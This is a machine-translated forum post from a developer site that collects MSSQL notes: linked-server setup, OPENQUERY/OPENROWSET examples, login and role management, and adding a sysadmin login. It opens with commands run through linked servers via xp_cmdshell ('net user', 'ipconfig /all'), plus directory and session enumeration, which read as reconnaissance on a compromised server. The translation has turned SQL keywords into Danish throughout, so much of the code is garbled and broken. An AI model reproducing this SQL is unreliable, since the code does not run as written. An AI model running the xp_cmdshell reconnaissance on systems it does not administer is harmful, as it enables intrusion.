(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user'')


Exec Master.. xp_dirtree

'c:\',1,1
Udfør en forespørgselsmappe


exec links.master.. xp_cmdshell 'ipconfig'


Vælg * fra OpenQuery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Forbind mysql Select * fra Mem_DB. UserDB.dbo.AdminList


EKSEKUTIV MESTER.. XP_dirtree 'c:\',1,1




Leder

master.dbo.xp_cmdshell 'dir'


Vælg tælling(*) fra [angivelse]
Forespørg hvor meget data der er i den aktuelle tabel




Vælg særskilt værtsnavn,db_name(dbid),net_address,loginame,program_name

fra mester.. SysProcesses






Vælg * fra GameDB01. Server01.dbo.cabal_character_table hvor navn='

Gris'





Når du sletter den, står der: Databasen bliver brugt og kan ikke slettes.


Klik på den database, du vil slette, for at åbne Event Viewer.


Input:


Anvendelse   

Mester

Så indtast følgende:
Erklære @d Varchar(8000)
sæt @d= ' '
vælg @d=@d+ 'dræb   

'+cast(spid som varchar)+char(13)
fra mester.. SysProcesses hvor dbid=db_id('biblioteksnavn')
exec(@d)
--
Brug kode til først at slette processen, der forbinder til denne database












MSSQL driver Oracle gennem LinkServer






1) Installer Oracle på SQL_SERVER 2005-serveren

9i klient. Antag, at du installerer i mappen C:\ora92i\. Hvis D: er en NTFS-partition, skal du sætte den installerede ORACLE-mappe som den, der bruges.

Abonnenter har ret til at køre, tilføje og slette.


2)
Konfigurér C:\ora92i\network\ADMIN\tnsnames.ora-filen. (Følgende røde tekst er et eksempel på en konfiguration)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESSE = (PROTOKOL = TCP)(VÆRT = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = ork)


)


)


3)
Kør følgende kommando i DOS-tilstand for at bekræfte, at ORACLE-klienten er installeret korrekt.


sqlplus user/password@ORCL


4)
Åbn start - Kontrolpanel - Tjenester og bekræft, at tjenesten Distributed Transaction Coordinator er startet.



5) Åbn SQL SERVER Management Studio, Instansnavn (ORCL) - Serverobjekt (højreklik) - Ny forbindelsesserver.


1.      


Linkserver: Skriv navnet på den linkede server, såsom OracleTest


2.         
Servertype, vælg en anden datakilde


3. Adgangsgrænseflade:
Vælg Oracle Provider for OLE DB


4. Produktnavn: Write Oracle


5. Datakilde: Skriv op

Servicenavnet konfigureret i tnsnames.ora-filen, såsom ORCL


6.         
Adgangsinterface-streng: userid=sys som sysdba; adgangskode=adgangskode


7.         
På siden Vælg sikkerhedsindstillinger bruger du denne installationskontekst til at etablere en forbindelse:


a) Fjernlogin: bruger (anden bruger, ikke system)


b)      

    Brug adgangskode: adgangskode


8. Sæt "NT AUTHORITY\SYSTEM" på den lokale login, fjernbrugersystemet, og sæt adgangskoden


9.

         Er du sikker


6) Der er to måder at skrive SQL på


a) Brug af T-SQL-syntaks:


           VÆLG * FRA

OraTest.ERP.BAS_ITEM_CLASS


           Bemærk, at når du indtaster SQL-sætninger i SQL Query Analyzer, skal du være opmærksom på de kinesiske fuldbredde- og halvbredde-skift

Way!


b) Brug PLSQL-syntaks:
           VÆLG * FRA openquery(OraTest,'VÆLG * FRA

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Den anden adgangsmetode er cirka 50% hurtigere end den første; Den anden adgangsmetode er direkte forbundet

ORACLE er sammenlignelig; Første adgangsmetode kan føre til nogle uventede fejl, såsom:
           Tabellen eksisterer ikke, eller den nuværende bruger

Der er ingen adgang til bordet, og så videre.


           d) Hvis kolonnen, der skal tilgås, bruger datatyper uden præcision, vil begge disse

Dette er en fejl i ORACLE, som ikke kan rettes, og kun kan undgås ved særlig håndtering af forespørgselsudsagn:


     Metadataene leveret af OLE DB-udbyderen 'OraOLEDB.Oracle' for kolonnerne er inkonsistente. Metadata-information ændres ved eksekvering.










mssql tilføjet

Slet brugeren og giv tilladelser


Brug dit biblioteksnavn   
Gå   
--Tilføj brugere   
Exec sp_addlogin 'test' – tilføj login   
Ledelse

sp_grantdbaccess N'test' - at gøre den til en legitim bruger af den nuværende database   
leder sp_addrolemember N'db_owner',

N'test' - giver alle tilladelser til deres egen database   
--Dette skaber brugere, der kun kan få adgang til deres egen database og det, der er inkluderet i databasen

Offentlig tabel for gæstebrugere   
Gå   
--Fjern testbruger   
exec sp_revokedbaccess N'test' – Fjern adgangen til databasen

Grænse   
exec sp_droplogin N'test' – slet login   
Hvis du opretter det i Enterprise Manager, så brug:   
Enterprise Manager - Sikkerhed

Sex --Højreklik Login--Nyt login   
Generelle punkter   
--Indtast brugernavnet i navnet   

--Autentificeringsmetoden vælges efter dine behov (hvis du bruger Windows-autentificering, skal du først oprette en ny bruger blandt brugerne af operativsystemet)   

--I standardindstillingerne vælger du det databasenavn, du vil have adgang til for den nye bruger   
Serverrolle-item   
Vælg ikke noget i det her   
database

Adgangsgenstand   
Tjek navnet på den database, du vil have adgang til, for den bruger, du opretter   
Tillad databaserollen, kryds "offentlig", "db_ownew"   
Selvfølgelig, det her

Brugeren, der skabes af eksemplet, er den samme som brugeren, der blev skabt af ovenstående sætning   



Det sidste trin er at sætte specifikke adgangstilladelser for specifikke brugere, hvilket kan henvises til følgende minimale eksempel:   

--Tilføj brugere, der kun har adgang til den angivne tabel:   
exec sp_addlogin 'brugernavn', 'adgangskode', 'standard databasenavn'   

--tilføj til database   
exec sp_grantdbaccess 'brugernavn'   

--Tildel hele tabellens tilladelser   
GIV VÆLG , INDSÆT , OPDATER , SLET PÅ TABEL 1 TIL [brugernavn]   
--Tildel tilladelser til specifikke kolonner   
GRANT SELECT, OPDATER I tabel1(id,AA) TIL [brugernavn]   


For specifikke sikkerhedsindstillinger og teoretisk viden, henvis til SQL Online Help  







Beskrivelse af fast databaserolle   
  db_owner Har fulde rettigheder i databasen.   

db_accessadmin Du kan tilføje eller fjerne bruger-ID'er.   

db_securityadmin Kan administrere fulde tilladelser, objektejerskab, roller og rollemedlemskaber.   

db_ddladmin kan udstede ALLE DDL-udsagn, men ikke GRANT, REVOKE eller AFVISE kontoudsagn.   

db_backupoperator kan udstede DBCC-, CHECKPOINT- og BACKUP-udsagn.   

db_datareader Du kan vælge alle data fra enhver brugertabel i databasen.   

db_datawriter Du kan ændre alle data i enhver brugertabel i databasen.   

db_denydatareader Du kan ikke vælge nogen data fra nogen brugertabel i databasen.   

db_denydatawriter Du kan ikke ændre nogen data i nogen brugertabel i databasen.  





Du bør vælge db_datareader, db_datawriter, db_accessadmin




5.
Efter SQL Server-instansen er startet i enkeltbrugertilstand, kan Windows-administratorkontoen bruge sqlcmd-værktøjet til at oprette forbindelse i Windows-autentificeringstilstand

SQL Server。 Du kan bruge T-SQL-kommandoer som "sp_addsrvrolemember" til at tilføje et eksisterende login til sysadmin-serverrollen

Eller opret en ny loginkonto.
Et eksempel på en udsagn er som følger:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';





Tilføj en sysadmin-ret








(1) Administrere serverroller


I SQL Server er der to hovedlagrede procedurer, der implementerer SQL Server-rollestyring:


sp_addsrvrolemember

og sp_dropsrvrolemember


sp_addsrvrolemember
Du kan tilføje en loginkonto til en serverrolle for at gøre den til medlem af den serverrolle. Syntaksen er som følger:
sp_addsrvrolemember

login, rolle


sp_dropsrvrolemember
Du kan slette en loginkonto fra en serverrolle, og når medlemmet fjernes fra serverrollen, har den ikke længere den serverrolle

Tilladelserne er sat. Syntaksen er som følger:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rolle'


derind

@loginname er navnet på den indloggede bruger; @rolename er en serverrolle.




(2) Administrere databaseroller


I SQL Server understøttes databasestyring

Der findes seks hovedtyper af lagrede procedurer, og deres specifikke betydninger og syntaks er som følger:


sp_addrole: Bruges til at oprette en ny databaserolle;
sp_addrole

rolle, ejer


sp_droprole: Bruges til at fjerne en databaserolle fra den nuværende databaserolle;
sp_droprole rolle


sp_helprole:

Den bruges til at vise al information om alle databaseroller i den aktuelle database;
sp_helprole ['rolle']


sp_addrolemember: Bruges til at sende til databasen

Tilføj databasebrugere til en rolle, som kan være brugerdefinerede standardroller eller faste databaseroller, men ikke kan være det

Ansøgningsroller.
sp_addrolemember rolle, security_account


sp_droprolemember: Blev brugt til at slette en bestemt karakter

husstand;
sp_droprolemember rolle, security_account


sp_helprolemember: Bruges til at vise alle medlemmer af en databaserolle


sp_helprolemember ['rolle']






MSSQL LINKSERVER-forespørgsel


----------------------------------------------------------------------------------
-- Forfatter :

htl258(Tony)
-- Dato: 2010-06-25 22:23:18
-- Version: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. juli 2008 14:43:34
-- Ophavsret (c) 1988-2008 Microsoft Corporation
--

Developer Edition på Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Emne:
SQL-dataoperationer mellem forskellige serverdatabaser
----------------------------------------------------------------------------------
--1.
Opret en linkserver
--1.1 Opret et linknavn
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', navnet på den fjernserver.

eller IP-adresse' --
Hvis du har et brugerdefineret instansnavn, tilføj "\instance name"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Opret et login (eller lav et link-server loginkort) (vælg bare én måde)
--1.2.1
Log ind med Windows-autentificering
EXEC sp_addlinkedsrvlogin 'LinkName'
--eller EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Log ind med SQL-autentificering
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Brugernavn', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Linkserver-relaterede dataoperationer
--2.1 Forespørgselseksempel
VÆLG * FRA LinkName.databasenavn.skema navn.tabelnavn
/*例如:SELECT *

FRA TonyLink.Mydb.dbo.tb */
--
2.2 Importeksempel
VÆLG * IND i tabelnavn FRA LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

FRA TonyLink.Mydb.dbo.tb */
--
2.3 Opdateringseksempel
OPDATERING LinkName.Database Name.Schema Name.Table Name SET felt='værdi' HVOR felt='betingelse'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' HVOR Persons='a' */
--
2.4 Sletningseksempler
DELETE LinkName.Databasenavn.Skema Name.Table Name WHERE feltnavn='betingelse'
/*例如:DELETE

TonyLink.Mydb.dbo.tb HVOR Persons='g' */
--3 via rækkesætsfunktionen (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metode
-
3.1 OPENQUERY-metoden (kræver hjælp fra den linkserver, du lige har oprettet):
--
3.1.1 Forespørgselseksempel
VÆLG * FRA OPENQUERY(LinkName, 'VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
/*
For eksempel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importeksempler
--3.1.2.1 Importer alle kolonner
INDSÆT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. Tabelnavn

') VÆLG * FRA lokal tabel
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

FRA TB */
--3.1.2.2
Importer de angivne kolonner
INDSÆT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. tabelnavn') (kolonne, kolonne...)
SELECT-kolonnen,

Kolonne... FRA lokal tabel
/*
For eksempel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
MARKERE

RÆKKEVIDDE, NIVEAU, Personer FRA TB
*/
--3.1.3
Opdateringseksempler
UPDATE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. tabelnavn') SET-feltet = 'værdi' HVOR ordet

Segment = 'Tilstand'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Personer='a' */
--3.1.4
Slet eksempler
DELETE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitektnavn. tabelnavn') HVOR feltnavn='betingelse'
/*例

For eksempel: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') HVOR Persons='g' */
--3.2
OPENROWSET-metoden (du behøver ikke bruge navnet på det oprettede link.) Hvis det tilsluttede instansnavn ikke er standard, skal du sætte det i SQL Server-navn eller IP-adresse.

"\instansnavn")
--3.2.1 Forespørgselseksempel
--3.2.1.1
Windows-autentificeringsmetodeforespørgsel (en af følgende metoder er tilstrækkelig)
VÆLG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller

IP-adresse; Trusted_Connection=ja', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA OPENROWSET('SQLNCLI',

'server=sql servernavn eller IP-adresse; Trusted_Connection=ja', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA

OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja','VÆLG * FRA databasen

Navn. Arkitektnavn. tabelnavn')
VÆLG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse

Adresse; Trusted_Connection=ja','VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
/*
For eksempel: VÆLG * FRA OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Eller: VÆLG * FRA OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Eller: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','VÆLG *

FRA Mydb.dbo.tb')

Eller: VÆLG * FRA OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','VÆLG *

FRA Mydb.dbo.tb')
*/
--3.2.1.2 SQL Autentificeringsmetodeforespørgsel (En af følgende metoder er tilstrækkelig)
VÆLG * FRA OPENROWSET

('SQLOLEDB', 'server=SQL servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA

OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode','VÆLG *

FROM databasenavn. Arkitektnavn. tabelnavn')
VÆLG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=

Brugernavn; pwd=adgangskode','VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

servernavn'; 'brugernavn'; 'adgangskode', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA OPENROWSET('SQLNCLI', 'SQL SERVER NAME'

'; 'brugernavn'; 'adgangskode', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' bruger

navn'; 'Adgangskode', 'VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
VÆLG * FRA OPENROWSET('SQLNCLI', 'sql server)

navn'; 'brugernavn'; 'Adgangskode', 'VÆLG * FRA databasenavn. Arkitektnavn. tabelnavn')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Eller: VÆLG * FRA OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Eller: VÆLG * FRA OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VÆLG * FRA Mydb.dbo.tb')

eller: VÆLG * FRA OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VÆLG * FRA

Mydb.dbo.tb')

eller: VÆLG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

eller: VÆLG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

eller: VÆLG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VÆLG * FRA Mydb.dbo.tb')

eller: VÆLG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VÆLG * FRA Mydb.dbo.tb')
*/
--3.2.2 Importeksempel
--3.2.2.1 Importer alle kolonner
INSERT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse

Adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn)
VÆLG * FRA lokal tabel
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VÆLG * FRA TB
*/
--3.2.2.2 Import

Angiv kolonner
INDSÆT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Rack

Konstruktionsnavn. tabelnavn) (kolonne, kolonne...)
VÆLG kolonne, kolonne... FRA lokal tabel
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(RÆKKEVIDDE, NIVEAU, Personer)
MARKERE

RÆKKEVIDDE, NIVEAU, Personer FRA TB
*/
--Bemærk: For flere alternative metoder, se .2.1-forespørgselseksemplet, erstat blot funktionen OPENROWSET

Indholdet er tilstrækkeligt.
--3.2.3 Opdateringseksempel
OPDATER OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn

;p wd=adgangskode', databasenavn. Arkitektnavn. Tabelnavn)
SET-felt = 'værdi'
HVOR feltet = 'betingelse'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
HVOR Personer='a'
*/
--Bemærk: For flere alternative metoder, se .2.1-forespørgselseksemplet, erstat blot indholdet i OPENROWSET.
--3.2.4 Slet indikationen

Eksempel
SLET OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode', databasenavn. Skemanavn

.tabelnavn)
HVOR feltnavn='betingelse'
/*
For eksempel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
HVOR

Personer='g'
*/
--Note:
For flere alternative metoder, se .2.1-forespørgselseksemplet, erstat blot indholdet i OPENROWSET.
--3.3 OPENDATASOURCE-metoden

(Du behøver ikke bruge navnet på det oprettede link.) Hvis instansnavnet på forbindelsen ikke er standard, skal du tilføje \instance navn efter sql-serverens navn eller IP-adresse

")
--3.3.1
Forespørgselseksempel
--3.3.1.1 Windows Autentificeringsmetodeforespørgsel (En af følgende metoder er tilstrækkelig)
VÆLG * FRA OPENDATASOURCE('SQLOLEDB',

'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitektnavn. Tabelnavn
VÆLG * FRA

OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitektnavn.

Tabelnavn
/*
For eksempel: VÆLG * FRA OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb

Eller: VÆLG * FRA OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
*/
--3.3.1.2
SQL-autentificeringsmetodeforespørgsel (en af følgende metoder er tilstrækkelig)
VÆLG * FRA OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller

IP-adresse; uid=brugernavn; pwd=adgangskode').
Databasenavn. Arkitektnavn. Tabelnavn
VÆLG * FRA OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=bruger

Navn; pwd=adgangskode').
Databasenavn. Arkitektnavn. Tabelnavn
VÆLG * FRA OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernavn eller IP-adresse

Adresse; uid=brugernavn; pwd=adgangskode').
Databasenavn. Arkitektnavn. Tabelnavn
VÆLG * FRA OPENDATASOURCE('SQLNCLI', 'Data Source=sql servernavn eller IP-adresse

Adresse; uid=brugernavn; pwd=adgangskode').
Databasenavn. Arkitektnavn. Tabelnavn
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VÆLG * FRA OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VÆLG * FRA OPENDATASOURCE('SQLOLEDB','Data

Kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VÆLG * FRA OPENDATASOURCE('SQLNCLI','Data

kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importer alle kolonner
INDSÆT OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode').

Ifølge bibliotekets navn. Arkitektnavn. Tabelnavn
VÆLG * FRA lokal tabel
/*
For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
MARKERE

* FRA TB
*/
--3.3.2.2
Importer de angivne kolonner
INDSÆT OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode').

Ifølge bibliotekets navn. Arkitektnavn. Tabelnavn (kolonne, kolonne...)
VÆLG kolonne, kolonne... FRA lokal tabel
/*
For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(RÆKKEVIDDE, NIVEAU, personer)
VÆLG OMRÅDE, NIVEAU, Personer FRA TB
*/
--Note:
For flere alternative metoder, se .3.1-forespørgselseksemplet, erstat blot indholdet i linjesætsfunktionen (OPENDATASOURCE).
--3.3.3 Opdateringseksempel
OPDATER OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode').
Databasenavn. Arkitektnavn. Tabelnavn
SET-felt = 'værdi'
HVOR feltet = 'betingelse'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
HVOR Personer='a'
*/
--Note:
For flere alternative metoder, se .3.1-forespørgselseksemplet, erstat blot indholdet i linjesætsfunktionen (OPENDATASOURCE).
--3.3.4 Slet-eksempel
SLET OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brugernavn; pwd=adgangskode').
Databasenavn. Arkitektnavn. Tabelnavn
HVOR feltnavn='betingelse'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
HVOR Persons='g'
*/
- Bemærk: Flere alternativer

Se på .3.1-forespørgselseksemplet, erstatte blot indholdet i rækkesætsfunktionen (OPENDATASOURCE).
--
Slet den linkede server-metode
--Hvis du ikke længere bruger linkoplysningerne i fremtiden, kan du slette linkoplysningerne
--4.1
Slet loginoplysninger (eller slet linket server-loginnavnekort)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
For eksempel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Slet det linkede servernavn
EXEC sp_dropserver 'LinkName', 'droplogins' – hvis droplogins er angivet,
Loginkortet skal slettes, før den linkede server slettes
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Vedhæftet


Sådan får du udbydernavnet (EXEC master). xp_enum_oledb_providers)
VÆLG CAST([Udbydernavn] SOM

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
FRA

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ja',
'SÆT KUN AF;
EKSEKUTIV

Mester.. xp_enum_oledb_providers'
)




Tidligere:UCloud sårbarhedshåndteringsproces og belønningsdetaljer
Næste:Jeg kan nå toget hjem i dag, og jeg har ikke været hjemme i mere end et halvt år
Opslået på 27/09/2017 17.43.11 |
Meget detaljeret Tak
 Udlejer| Opslået på 17/06/2023 11.12.11 |
Test SQL-injektionstest med SQLMAP-infiltrationsværktøjet
https://www.itsvse.com/thread-10611-1-1.html
Ansvarsfraskrivelse:
Al software, programmeringsmaterialer eller artikler udgivet af Code Farmer Network er kun til lærings- og forskningsformål; Ovenstående indhold må ikke bruges til kommercielle eller ulovlige formål, ellers skal brugerne bære alle konsekvenser. Oplysningerne på dette site kommer fra internettet, og ophavsretstvister har intet med dette site at gøre. Du skal slette ovenstående indhold fuldstændigt fra din computer inden for 24 timer efter download. Hvis du kan lide programmet, så understøt venligst ægte software, køb registrering og få bedre ægte tjenester. Hvis der er nogen overtrædelse, bedes du kontakte os via e-mail.

Mail To:help@itsvse.com